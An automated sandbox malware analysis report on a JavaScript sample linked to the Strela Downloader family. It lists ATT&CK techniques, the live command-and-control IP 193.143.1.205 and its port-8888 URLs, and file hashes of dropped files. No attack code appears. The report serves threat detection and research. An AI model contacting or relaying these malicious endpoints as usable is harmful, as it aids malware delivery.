Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2045514992161325262.js	0%	ReversingLabs
2045514992161325262.js	3%	Virustotal		Browse

Source	Detection	Scanner	Label
http://193.143.1.205:8888/p	0%	Avira URL Cloud	safe
http://193.143.1.2058888/R	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/tems	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.43	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.2058888/R	net.exe, 00000007.00000002.2177048744.000001B78D338000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2176472928.0000023856A10000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3406586219.00000238514BF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/p	net.exe, 00000007.00000002.2177048744.000001B78D338000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000003.2176241963.000001B78D35D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/tems	net.exe, 00000007.00000002.2177048744.000001B78D338000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587704
Start date and time:	2025-01-10 17:09:51 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2045514992161325262.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 52.22.41.97, 52.6.155.20, 3.233.129.217, 3.219.243.226, 172.64.41.3, 162.159.61.3, 184.28.90.27, 2.22.242.123, 2.22.242.11, 2.23.197.184, 199.232.210.172, 2.19.11.122, 2.19.11.117, 2.16.168.105, 2.16.168.107, 13.107.246.45, 20.109.210.53, 104.78.188.188
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, client.wns.windows.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
11:10:43	API Interceptor	24x Sleep call for process: powershell.exe modified
11:10:47	API Interceptor	1x Sleep call for process: net.exe modified
11:10:47	API Interceptor	2x Sleep call for process: svchost.exe modified
11:11:00	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1936930021252095876.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	283532861321088537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10259286552329511027.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	30562134305434372.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18559217651387524988.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6994127092970513305.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3254519122657813770.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1712226379134618467.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1136121895118314851.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7401990642713807.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	1936930021252095876.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	283532861321088537.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	launcher.exe.bin.exe	Get hash	malicious	PureLog Stealer, Xmrig, zgRAT	Browse	199.232.210.172
	10259286552329511027.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	30562134305434372.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	18559217651387524988.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	CF342114-CD27-4FDB-9984-9F03FED05312_12172024123959996.dll	Get hash	malicious	Unknown	Browse	199.232.214.172
	6994127092970513305.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	QUOTATION-9044456778.pdf (83kb).com.exe	Get hash	malicious	PureLog Stealer, Quasar	Browse	199.232.214.172
	Shipping Document.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	199.232.210.172
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	18559217651387524988.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.38
	18607323151113325657.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.35
	289215992948720779.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.21
	1947415746274847548.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.18
	OTTIMAX RFQ BID1122263.xlsx	Get hash	malicious	Unknown	Browse	84.201.210.39
	gem2.exe	Get hash	malicious	Xmrig	Browse	217.20.57.35
	Appraisal-nation-Review_and_Signature_Request46074.pdf	Get hash	malicious	Unknown	Browse	84.201.210.39
	JB#40044 Order.exe	Get hash	malicious	MassLogger RAT	Browse	217.20.57.25
	82eqjqLrzE.exe	Get hash	malicious	AsyncRAT	Browse	217.20.57.23
	Solara.exe	Get hash	malicious	Unknown	Browse	217.20.57.35

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	28152172202187913252.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1936930021252095876.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	283532861321088537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	550532080162812544.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10259286552329511027.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	30562134305434372.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18559217651387524988.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	6994127092970513305.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	251011677249918058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2078028442107917841.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263060835128592
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0/:9JZj5MiKNnNhoxu+
MD5:	DD0ED618FBDFA43C7FFD5554B5E5629D
SHA1:	0579A7F9BCB20B05A7B220378A841BF4D4591E8A
SHA-256:	07D4D059BCE65070A5F54171C721293C38439C8BB07C1827FF227F3B6F5E112E
SHA-512:	FF27B2306EF71825297D3D994B0278E34ABCCD5D842D73C5F585E28066CA9ADAC3928FF18E221718E6C150C806CB55B09F153A9A59B92B4C7E039642D4B52323
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0xef78d5bb, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.755567180222802
Encrypted:	false
SSDEEP:	1536:VSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:VazaSvGJzYj2UlmOlOL
MD5:	860EEA6AF3E9B7A1EDE85ABA3CEAB242
SHA1:	A2D608144A3C0FE8DC5C07EBD7EE7902462EDBB6
SHA-256:	3620431FCBA04AFF383290BFF1A2BB9F31A0D7F71625F6DA1841DB75D3753159
SHA-512:	0E23540A1FEF2A5A662C9C1D9B7933883AD0FCA56413DD53C2CDADBAEF17F28C8736DF93BFCF44BB0D42581ECA66E29A8898683CB2064D96910148F0281EAEB8
Malicious:	false
Preview:	.x.... .......7.......X\...;...{......................0.e......!...{?./....}u.h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{....................................d./....}u..................../....}u..........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07917243320535003
Encrypted:	false
SSDEEP:	3:wllEYe9dkF3rfNaAPaU1ldevlAlXalluxmO+l/SNxOf:wllEz9mNTNDPaU0uegmOH
MD5:	DEBA20B42127B3C4F09D5941521E7737
SHA1:	6A61502F35B39B4D7D5B9F14101B669FB3CA8E0E
SHA-256:	DD163C131CF99DCACF0A841D48C63974B5F6096B0C870D567EE32A7B2A00F441
SHA-512:	DEA80331236E55FCDA6EBC1D965275AC269598D8455B002D99BE6F1D0AC2913A269D269AE2582255AE2973057EAA4674DFB623267A301A7A60B4ACE613187460
Malicious:	false
Preview:	.N......................................;...{../....}u..!...{?..........!...{?..!...{?..g...!...{?..................../....}u.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.194080495439658
Encrypted:	false
SSDEEP:	6:iO4njDQyq2PN72nKuAl9OmbnIFUtSnmwSG1ZmwsnjCVF3AQRkwON72nKuAl9Omb5:7AjMyvVaHAahFUt+mc/8evlR5OaHAaSJ
MD5:	B8DF07F60A21A1C2448630F6417AD3BE
SHA1:	E7691F7D05A168A8ECCF7418468FBCE3258C5B3D
SHA-256:	81B77150C11FF374B7087DE0EE23E717CC4D6C98DE8F21E82BEE65C22D9EA669
SHA-512:	C1655B23BE496B8558F3B233BDDD9D1F8A0B07D1B4FC2AA731C441E6F58F688B9FEAD024435C8D49103128EFBFEEDA6410B41E291057F10B62F430AFB3A4F890
Malicious:	false
Preview:	2025/01/10-11:10:46.972 f90 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:10:46.988 f90 Recovering log #3.2025/01/10-11:10:46.989 f90 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.194080495439658
Encrypted:	false
SSDEEP:	6:iO4njDQyq2PN72nKuAl9OmbnIFUtSnmwSG1ZmwsnjCVF3AQRkwON72nKuAl9Omb5:7AjMyvVaHAahFUt+mc/8evlR5OaHAaSJ
MD5:	B8DF07F60A21A1C2448630F6417AD3BE
SHA1:	E7691F7D05A168A8ECCF7418468FBCE3258C5B3D
SHA-256:	81B77150C11FF374B7087DE0EE23E717CC4D6C98DE8F21E82BEE65C22D9EA669
SHA-512:	C1655B23BE496B8558F3B233BDDD9D1F8A0B07D1B4FC2AA731C441E6F58F688B9FEAD024435C8D49103128EFBFEEDA6410B41E291057F10B62F430AFB3A4F890
Malicious:	false
Preview:	2025/01/10-11:10:46.972 f90 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:10:46.988 f90 Recovering log #3.2025/01/10-11:10:46.989 f90 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.155754307364529
Encrypted:	false
SSDEEP:	6:iO4n4bjL+q2PN72nKuAl9Ombzo2jMGIFUtSn4nz1Zmwsn4KX1LVkwON72nKuAl97:7A4bOvVaHAa8uFUt+4z1/84a5OaHAa8z
MD5:	539770BAA59FB730C7F8F41A2FCB6520
SHA1:	A0AAC57F2724B2EB96AB1140FC8B9CA8722845E2
SHA-256:	A90A67F68E929E145E11E1193284AD9419EE0CD893AD8CB246E5AE25C2410591
SHA-512:	7A4FA591FB7E8A5F18363346FDD952FD353E3AEA1A3FA325B9D8FB2E27BD1BC68768A3D133D95802F947455E9C4E8509AD9025CFB26FC2B40188A6C8DEB7342C
Malicious:	false
Preview:	2025/01/10-11:10:47.021 678 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:10:47.023 678 Recovering log #3.2025/01/10-11:10:47.024 678 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.155754307364529
Encrypted:	false
SSDEEP:	6:iO4n4bjL+q2PN72nKuAl9Ombzo2jMGIFUtSn4nz1Zmwsn4KX1LVkwON72nKuAl97:7A4bOvVaHAa8uFUt+4z1/84a5OaHAa8z
MD5:	539770BAA59FB730C7F8F41A2FCB6520
SHA1:	A0AAC57F2724B2EB96AB1140FC8B9CA8722845E2
SHA-256:	A90A67F68E929E145E11E1193284AD9419EE0CD893AD8CB246E5AE25C2410591
SHA-512:	7A4FA591FB7E8A5F18363346FDD952FD353E3AEA1A3FA325B9D8FB2E27BD1BC68768A3D133D95802F947455E9C4E8509AD9025CFB26FC2B40188A6C8DEB7342C
Malicious:	false
Preview:	2025/01/10-11:10:47.021 678 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:10:47.023 678 Recovering log #3.2025/01/10-11:10:47.024 678 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\4b0fd78c-1c4d-47c3-a591-8800e8d23416.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqiYsBdOg2H4Acaq3QYiubcP7E4T3y:Y2sRds5NdMHC3QYhbA7nby
MD5:	E7C910D918FFE81D5EEA6A0CD234A71F
SHA1:	A79BB87B7CC2A80CD5DAE9AE816FCA1E0E303822
SHA-256:	07C8D48DB7DCD79A129AC6FD57E6B0720F33ADB6F5721D77F364A2B13AB0132F
SHA-512:	97C4A30FC7E20BBC6651311BBE9B697BA83D6FEFDF25AB5155DB2EDE7F15D00B65C8BE866B79B183B4A9F3199420F26E16E4E1D7E565150DD1A57D54B3010EC4
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381085459620255","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":135093},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqiYsBdOg2H4Acaq3QYiubcP7E4T3y:Y2sRds5NdMHC3QYhbA7nby
MD5:	E7C910D918FFE81D5EEA6A0CD234A71F
SHA1:	A79BB87B7CC2A80CD5DAE9AE816FCA1E0E303822
SHA-256:	07C8D48DB7DCD79A129AC6FD57E6B0720F33ADB6F5721D77F364A2B13AB0132F
SHA-512:	97C4A30FC7E20BBC6651311BBE9B697BA83D6FEFDF25AB5155DB2EDE7F15D00B65C8BE866B79B183B4A9F3199420F26E16E4E1D7E565150DD1A57D54B3010EC4
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381085459620255","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":135093},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.248738868723356
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE73/t0L:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhc
MD5:	B2AECFFD408A408B4971B962E4870A6F
SHA1:	1946CF30563E2E9AD1AAD11930B3F08A4D3215A2
SHA-256:	BAC71BB08BC9535FF8384F3607F6EF3911B735F8D261F3D3FD95DC8A82DCFB37
SHA-512:	42AE8B0C74FAC5C4FF9E4186D5DD5807A76A756A7263FA33DBB4365D7C9CC93A34D9C1F71834D4E253077CF101CC51EBDC0C272CDDBB0F10D6B3BEA32411D96B
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.164667986946934
Encrypted:	false
SSDEEP:	6:iO4nG1L+q2PN72nKuAl9OmbzNMxIFUtSngj1ZmwsnUqLVkwON72nKuAl9OmbzNMT:7AlvVaHAa8jFUt+81/8UO5OaHAa84J
MD5:	76ABED70E75283C6D8D2D6251CD41CE9
SHA1:	A1C649724AABE6C6B7ED1C100765435020A2B34A
SHA-256:	0EA4847517D41AC56FAC12193F758E4D2C7CC5DE80A726EF8B7C0522B6B105C0
SHA-512:	2E55AEF29C6436A77375BC1A73128CC563C3FA26BDBA8AFCFF7AB3C0FE0F06B0E5A54C0649DC1E4DD2094908400C037F1F976E9FD6E117F9BFE2394B905662ED
Malicious:	false
Preview:	2025/01/10-11:10:47.144 678 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:10:47.146 678 Recovering log #3.2025/01/10-11:10:47.147 678 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.164667986946934
Encrypted:	false
SSDEEP:	6:iO4nG1L+q2PN72nKuAl9OmbzNMxIFUtSngj1ZmwsnUqLVkwON72nKuAl9OmbzNMT:7AlvVaHAa8jFUt+81/8UO5OaHAa84J
MD5:	76ABED70E75283C6D8D2D6251CD41CE9
SHA1:	A1C649724AABE6C6B7ED1C100765435020A2B34A
SHA-256:	0EA4847517D41AC56FAC12193F758E4D2C7CC5DE80A726EF8B7C0522B6B105C0
SHA-512:	2E55AEF29C6436A77375BC1A73128CC563C3FA26BDBA8AFCFF7AB3C0FE0F06B0E5A54C0649DC1E4DD2094908400C037F1F976E9FD6E117F9BFE2394B905662ED
Malicious:	false
Preview:	2025/01/10-11:10:47.144 678 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:10:47.146 678 Recovering log #3.2025/01/10-11:10:47.147 678 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444470848427298
Encrypted:	false
SSDEEP:	384:ye6ci5tyiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:m9s3OazzU89UTTgUL
MD5:	A27DC16A69EC17F46DF54ACE5880DCF3
SHA1:	55863AC0A9E0928A56EF9EFF5517F1AFE03ECD2E
SHA-256:	20F156B69943A92FA630F7BB9DA281BD1A54E962D04FCC62A6C350875E43066C
SHA-512:	FFBF9076C07A507D8B5B2C0C00A3FA2145E6C4D343F1E84B72FDC568BB7C298908DEADB51C7EE3E79067FE94E9F3C2201572C2B63059F3ED7B9D942704191EA6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7692960050658764
Encrypted:	false
SSDEEP:	48:7M3JioyVtioySoy1C7oy16oy1TKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1O/:7QJut2uXjBicb9IVXEBodRBk1
MD5:	731E932963704E04FD32F8C0EF07F804
SHA1:	C08A2B74DDF193E8BD5A6C5720EB5692F19F9E51
SHA-256:	CC5870A3693317C66F8CF5B3B1FD35731DEE2748E47681DDFD94519865DCBDE2
SHA-512:	4A26478AD36EFA111A25FCA838A3780B477D0A61E14C5E36D2BFE02CCBF5EED4DE9104CAB6180FCC5DF3DEA89D482CABC6D112746968D7ADAC8597DE2EF25912
Malicious:	false
Preview:	.... .c......[.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
